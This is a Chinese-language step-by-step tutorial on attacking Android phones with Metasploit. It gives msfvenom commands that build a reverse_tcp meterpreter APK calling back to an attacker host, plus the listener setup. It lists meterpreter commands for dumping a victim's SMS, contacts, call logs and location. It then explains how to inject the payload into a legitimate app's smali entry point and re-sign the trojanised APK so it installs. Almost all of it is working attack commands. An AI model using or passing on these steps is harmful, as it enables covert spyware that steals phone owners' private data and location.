msf攻击android[1]
1.msf生成android apk文件
msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk
-p android/meterpreter/reverse_top : 表示从android设备返回一个反向连接的meterpreter通道;
R:直接输出(虽然android程序用java编写,但是不能使用-f java的形式生成);
.apk:最终输出为apk后缀的文件;
2.本地监听
msfconsole
msfdb run
workspace test
use /exploit/multi/handler
options
set payload android/meterpreter/reverse_tcp
set lhost 192.168.110.45
set lport 4455
run
3.手机模拟器安装apk文件,并启动
4.android的meterpreter介绍[2]
常用android指令
? 查看android meterpreter指令
check_root 检查设备是否为root
dump_calllog 获取通话记录
dump_contacts 获取通讯录
dump_sms 获取短信
geolocate 获取定位信息
send_sms 发送短信
wlan_geolocate 通过wlan信息获取定位信息
app_install 安装app
app_list 列出当前设备上安装的app
app_run 通过包名启动android应用
app_uninstall 卸载app
5.将msf payload注入已有的apk文件中
自动注入
msfvenom -x ./desktop/dark_mode.apk -p android/meterpreter/reverse_tcp lhost=<本机IP> lport=<端口> R -o msftest.apk
-x:将指定目录下的指定apk文件作为模板文件
-p: 设置payload
-o: 输出为apk文件
6.手工注入--将msf payload注入apk
apktool反编译
apktool d -f -r -o /usr/local/testdir/decodef dark_Mode.apk
d:[decode]反编译
-r: 避免resc的反编译,这样进行打包的时候就不会重新编译resc文件包括xml
-o: 反编译文件输出到当前/usr/local/testdir/decodef目录下
步骤
(1)反编译要注入的apk文件--com.chenai.eyes_5.5.3_liqucn.com.apk
(2)反编译msfvenom 生成的已注入payload的apk文件--msfand.apk
(3)将(2)中反编译出来的AndroidManifest.xml文件中的
(4)拷贝payload:将(2)中反编译的文件smali/com目录下的文件拷贝到(1)中对应目录下
(5)执行payload:在apk程序入口Activity的oncreate()方法,添加以下脚本:
invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下脚本的包名,其中com.chenai.eyen.act.MainDl即为主程序入口activity
<activity android:configChanges="keyboardHidden|orientation" android:label="@string/ao" android:name="com.chenai.eyen.act.MainDl" android:theme="@style/e2">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
(6)回编:
apktool b ./dark
回编的文件在./dark/dist文件下
(7)生成签名要用的keystore文件(若安装了android studio则默认存在/root/android目录下)
keystore用于保存密钥对,比如公钥和私钥,用来在打包apl的时候对apk程序进行加密,也就是所谓的数字证书加密
keytool -genkey -v -keystore my-realease-key.keystore -alias alias -keyalg RSA -keysize 2048 -validity 10000
-alias :别名,每个keystore都关联这一个独一无二的alias,通常不区分大小写
-keystore: 指定密钥库的名称
-keyalg: 指定密钥的算法
-validity:指定创建证书的有效期
-keysize:指定生成密钥的长度
-v:显示密钥库中的证书详细信息
(8)jarsigner进行签名
jarsigner -verbose -keystore ./my-realease-key.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ./dark/dark_Mode.apk alias
进行签名后的apk文件在dist目录下,覆盖掉原来的apk文件,进行签名是为了保证完整性,在apk文件安装时,系统会对其签名信息进行比对,判断程序的完整性,从而决定该apk文件是否可以安装,在一定程度上达到安全